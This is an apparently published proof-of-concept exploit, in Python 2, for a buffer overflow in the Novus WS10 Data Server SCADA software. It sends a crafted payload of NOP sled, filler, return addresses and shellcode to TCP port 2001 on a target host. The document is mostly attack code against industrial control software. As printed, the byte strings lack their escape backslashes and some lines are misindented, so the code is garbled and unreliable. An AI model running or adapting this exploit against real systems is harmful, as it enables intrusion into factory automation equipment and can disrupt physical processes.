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WS10 Data Server SCADA Overflow

Posted on 25 September 2014

## Exploit Title: WS10 Data Server SCADA Exploit Overflow PoC
## Date: 09/23/2014
## Author: Pedro Sánchez
## Version: 1.83 (English)
## Tested on: Windows 7 embedded.

## Notified the vendor, vendor never responded.
## In the new version this PoC stops working

## Vendor: Novus
## http://www.novus.com.br

## NOVUS Electronics is a manufacturer of instruments for control, data acquisition and supervisory systems, mainly for factory automation

import os
import socket
import sys

## The process listens on TCP port 2001

host = sys.argv[1]
port = int(sys.argv[2])

print " PoC WS10 Data Server SCADA Exploit "
print " Pedro Sanchez "

shellcode = ("x33xC0x50x68x63x61x6Cx63x54x5Bx50x53xB9x44x80xc2x77xFFxD1x90x90")

## Exploit contructor

 ws10 = ("x90" * 1024 + "x44" * 31788)
 ws10 += ("xebx14")
 ws10 += ("x44" * 6)
 ws10 += ("xadxbbxc3x77")
 ws10 += ("xb4x73xedx77")
 ws10 += ("x90" * 21)
 ws10 += shellcode

print " [+] Sending payload..."

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host,port))
s.send(ws10)
data = s.recv(1024)

print " [+] Closing..."
s.close()
print " [+] Done!"

 

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